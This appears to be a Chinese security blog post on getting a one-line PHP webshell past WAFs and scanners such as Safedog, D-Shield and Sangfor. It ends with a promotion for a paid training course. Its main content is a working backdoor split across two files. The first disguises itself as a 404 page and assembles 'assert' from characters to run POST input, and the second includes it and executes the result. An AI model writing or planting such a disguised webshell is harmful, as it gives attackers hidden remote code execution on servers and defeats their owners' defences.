【过waf篇】一句话木马如何优雅地过waf
0x00 WAF简介
作者:雨幕 微信公众号:异空间安全
Web应用防护系统(也称:网站应用级入侵防御系统。英文:WebApplicationFirewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
Waf拦截一句话木马原理:以正则表达式匹配关键字判断是否为一句话木马。
0x01 测试环境准备
安全狗 apache 4.0 (把所有防护开启)
D盾 2.12 测试版(最新,主要利用其查杀功能)
深信服 3.3.02
phpstudy
0x01 绕过WAF的常用方法
01.拆分文件法(过盾和狗和服)
拆分文件法意思为把本该一个文件完成的功能拆分成两个文件进行上传进行包含文件执行。这样做可以降低被查杀的概率,特别是某盾对函数捕捉特敏感,这时使用拆分文件法是最好的。
A.404页面拆分模式
404页面为访问页面不存在时候返回的页面,不容易引起别人的注意,适宜后门的隐藏。
文件1:new.php
404 Not FoundNot Found
The requested URL was not found on this server.
$arr = array('a', 's', 's', 'e', 'r', 't');
$func = '';
for ($i = 0; $i < count($arr); $i++) {
$func .= $func . $arr[$i];
}
@$a = @$_POST['a'];
@$b = @$_POST['b'];
$c = $a.$b;
$func = substr($func, -6);
$d = str_replace($a, '', $c);
header('HTTP/1.1 404 Not Found');
?>
文件2:shaD.php
include "new.php";
$func($d);
?>
为了减少深信服的扫描的时间,我把php一句话放到了test文件夹里面,直接扫描,这样减少扫描时间。
这里先演示一种方法,还有个人总结的五种方法将会在逐梦2期线上就业班里面详解,了解逐梦2期请点: